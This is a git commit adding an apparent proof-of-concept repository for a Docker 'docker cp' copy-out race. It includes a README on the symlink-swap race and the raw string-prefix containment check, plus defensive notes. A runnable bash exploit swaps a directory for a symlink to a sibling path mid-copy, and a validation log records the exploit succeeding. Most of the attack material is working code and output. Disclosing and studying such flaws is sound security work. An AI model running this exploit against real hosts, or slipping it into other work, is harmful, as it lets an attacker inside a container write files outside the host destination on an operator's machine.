Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

View File

@@ -0,0 +1,5 @@
* text=auto
.gitattributes text eol=lf
*.sh text eol=lf
*.md text eol=lf
*.txt text eol=lf

View File

@@ -0,0 +1,4 @@
*.tmp
*.log
docker-cp.stdout
docker-cp.stderr

View File

@@ -0,0 +1,109 @@
# Docker cp copy-out destination escape
This repository contains a minimal proof of concept for a `docker cp` copy-out path issue validated on Docker Engine 29.6.0.
The demonstrated behavior is:
> A process inside a running container can race a host-initiated `docker cp <container>:/tmp/src <host-destination>` operation so that the copy writes a container-controlled file into a sibling host path outside the requested destination.
The PoC uses `/tmp/.../dst` as the requested host destination and causes Docker's copy-out extraction to create `/tmp/.../dst2/marker`.
## What this is
- A host/operator-initiated `docker cp` copy-out destination escape.
- A container-controlled file write outside the requested host destination directory.
- A race against Docker's archive creation and local archive extraction behavior.
- Validated locally on Docker Client/Server 29.6.0, API 1.55, on June 23, 2026.
## What this is not
- Not a no-interaction container escape.
- Not a default runtime breakout from an idle container.
- Not a Docker socket or daemon API exposure.
- Not a kernel memory-corruption exploit.
- Not a demonstrated arbitrary host-root file write in every configuration.
- Not a claim that the PoC reaches every possible host path.
The host user who runs `docker cp` performs the extraction. The practical impact depends on who runs that command and where they copy container data.
## Preconditions
- The attacker controls files and processes inside a running Linux container.
- A host user runs `docker cp` from the attacker-controlled container to a host filesystem destination.
- The destination has a sibling path whose name has the requested destination as a raw string prefix. The PoC uses `dst` and `dst2`.
- The race wins while Docker is producing and extracting the copy-out tar stream.
The PoC widens the race by placing many padding files before the raced path.
## Reproduction
Run on a host that has Docker available:
```bash
chmod +x poc.sh
HOST_BASE=/tmp/docker-cp-copyout-repro ./poc.sh
```
Successful output includes:
```text
success=yes
requested_destination=/tmp/docker-cp-copyout-repro/dst
outside_marker_path=/tmp/docker-cp-copyout-repro/dst2/marker
outside_marker_value=container-controlled-host-marker
```
The requested destination is `.../dst`. The marker is written under the sibling `.../dst2`.
## Fresh validation
The packaged PoC was replayed successfully against Docker Client/Server 29.6.0:
```text
Client=29.6.0 Server=29.6.0 API=1.55
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2
success=yes
requested_destination=/var/tmp/docker-cp-copyout-github/dst
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
outside_marker_value=container-controlled-host-marker
observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2
```
The validation transcript is also stored in `validation/2026-06-23-docker-29.6.0.txt`.
## Source-level notes
In Docker CLI 29.6.0, `cli/command/container/cp.go` resolves the host destination, asks the daemon for a tar stream with `CopyFromContainer`, then calls `archive.CopyTo` to extract that stream locally (`cp.go:257-338`).
On the daemon side, `daemon/archive_unix.go` creates an archive of the requested container path by opening the container filesystem and starting a `go-archive` tarballer (`archive_unix.go:40-92`). The tarballer walks the source tree with `filepath.WalkDir` and later adds the current path to the tar stream (`vendor/github.com/moby/go-archive/archive.go:693-794`). If a container process changes a directory entry after the walk has observed it but before the tar entry is added and recursed, the produced tar stream can contain a symlink at that path and then entries below the same logical path.
On the extraction side, `archive.CopyTo` prepares the destination and calls `Untar` (`vendor/github.com/moby/go-archive/copy.go:418-437`). During symlink extraction, the target is constructed with `filepath.Join(filepath.Dir(path), hdr.Linkname)` and checked with `strings.HasPrefix(targetPath, extractDir)` (`archive.go:480-490`). A path such as:
```text
extractDir=/tmp/docker-cp-copyout-repro/dst
targetPath=/tmp/docker-cp-copyout-repro/dst2
```
passes that raw prefix check even though `dst2` is outside `dst`. Later regular-file extraction opens the path normally (`archive.go:435-446`), so entries beneath the symlink are written through it into the sibling path.
Docker's container path helper also documents the general time-of-check/time-of-use caveat for scoped container paths: the returned path remains scoped only if no path component changes between resolving and using it (`daemon/container/container.go:359-363`). The PoC exercises that kind of race during copy-out archive production and combines it with the local extraction prefix issue.
## Cleanup
The PoC removes its disposable container on exit. Host output remains under `HOST_BASE` so the result can be inspected:
```bash
rm -rf /tmp/docker-cp-copyout-repro
```
## Defensive notes
Robust extraction should not rely on raw string-prefix checks for containment. A path-boundary check is better than `strings.HasPrefix`, but still does not fully address archive extraction races through symlinks. The safer design is descriptor-rooted extraction that opens path components relative to a trusted directory file descriptor and avoids following attacker-created symlinks for subsequent entries unless the target is proven to remain inside the extraction root.
Operationally, avoid running `docker cp` from containers whose contents are controlled by an untrusted party. Prefer copying from stopped containers or from immutable snapshots when the source is untrusted.

View File

@@ -0,0 +1,96 @@
#!/usr/bin/env bash
set -euo pipefail
name="docker-cp-copyout-poc-$$"
host_base="${HOST_BASE:-/tmp/docker-cp-copyout-poc-$$}"
host_dst="${host_base}/dst"
host_out="${host_base}/dst2"
attempt_log="${host_base}/attempts.log"
stdout_log="${host_base}/docker-cp.stdout"
stderr_log="${host_base}/docker-cp.stderr"
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
rm -rf "$host_base"
mkdir -p "$host_dst" "$host_out"
docker run -d --name "$name" alpine:3.21 sleep 600 >/dev/null
docker exec "$name" sh -lc '
set -e
rm -rf /tmp/src /dst2
mkdir -p /tmp/src/dir /dst2
printf "container-controlled-host-marker\n" > /dst2/marker
i=0
while [ "$i" -lt 12000 ]; do
printf "pad-%05d-%0128d\n" "$i" 0 > "/tmp/src/dir/a$(printf "%05d" "$i")"
i=$((i+1))
done
mkdir -p /tmp/src/dir/zzlink
'
try_delay() {
local delay="$1"
rm -rf "$host_dst" "$host_out"
mkdir -p "$host_dst" "$host_out"
: > "$stdout_log"
: > "$stderr_log"
docker exec "$name" sh -lc 'rm -rf /tmp/src/dir/zzlink /tmp/swap-done; mkdir -p /tmp/src/dir/zzlink'
docker exec -d "$name" sh -lc "sleep '$delay'; rm -rf /tmp/src/dir/zzlink; ln -s ../../../dst2 /tmp/src/dir/zzlink; touch /tmp/swap-done"
set +e
docker cp "$name:/tmp/src" "$host_dst" >"$stdout_log" 2>"$stderr_log"
local cp_status=$?
set -e
local outside="absent"
if [ -f "$host_out/marker" ]; then
outside="present"
fi
local link="absent"
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
if [ -L "$candidate" ]; then
link="$(readlink "$candidate")"
break
elif [ -d "$candidate" ]; then
link="directory"
fi
done
printf 'delay=%s cp_status=%s outside_marker=%s link=%s\n' "$delay" "$cp_status" "$outside" "$link" | tee -a "$attempt_log"
[ "$outside" = "present" ]
}
delays=(
0.010 0.025 0.050 0.075 0.100 0.150 0.200 0.300 0.400 0.550
0.700 0.900 1.100 1.400 1.800 2.200 2.800 3.500 4.500 5.500
)
success="no"
for delay in "${delays[@]}"; do
if try_delay "$delay"; then
success="yes"
break
fi
done
echo "success=${success}"
echo "host_base=${host_base}"
echo "requested_destination=${host_dst}"
echo "outside_marker_path=${host_out}/marker"
if [ "$success" = "yes" ]; then
echo "outside_marker_value=$(cat "$host_out/marker")"
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
if [ -L "$candidate" ]; then
echo "observed_symlink=${candidate} -> $(readlink "$candidate")"
break
fi
done
echo "docker_cp_stdout=${stdout_log}"
echo "docker_cp_stderr=${stderr_log}"
else
echo "attempt_log=${attempt_log}"
echo "docker_cp_stderr_tail_start"
tail -n 20 "$stderr_log" || true
echo "docker_cp_stderr_tail_end"
exit 1
fi

View File

@@ -0,0 +1,44 @@
Client: Docker Engine - Community
Version: 29.6.0
API version: 1.55
Go version: go1.26.4
Git commit: fb59821
Built: Thu Jun 18 19:57:31 2026
OS/Arch: linux/amd64
Context: default
Server: Docker Engine - Community
Engine:
Version: 29.6.0
API version: 1.55 (minimum version 1.40)
Go version: go1.26.4
Git commit: 70eaf5e
Built: Thu Jun 18 19:57:31 2026
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: v2.2.5
GitCommit: e53c7c1516c3b2bff98eb76f1f4117477e6f4e66
runc:
Version: 1.3.6
GitCommit: v1.3.6-0-g491b69ba
docker-init:
Version: 0.19.0
GitCommit: de40ad0
--- poc replay ---
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2
success=yes
host_base=/var/tmp/docker-cp-copyout-github
requested_destination=/var/tmp/docker-cp-copyout-github/dst
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
outside_marker_value=container-controlled-host-marker
observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2
docker_cp_stdout=/var/tmp/docker-cp-copyout-github/docker-cp.stdout
docker_cp_stderr=/var/tmp/docker-cp-copyout-github/docker-cp.stderr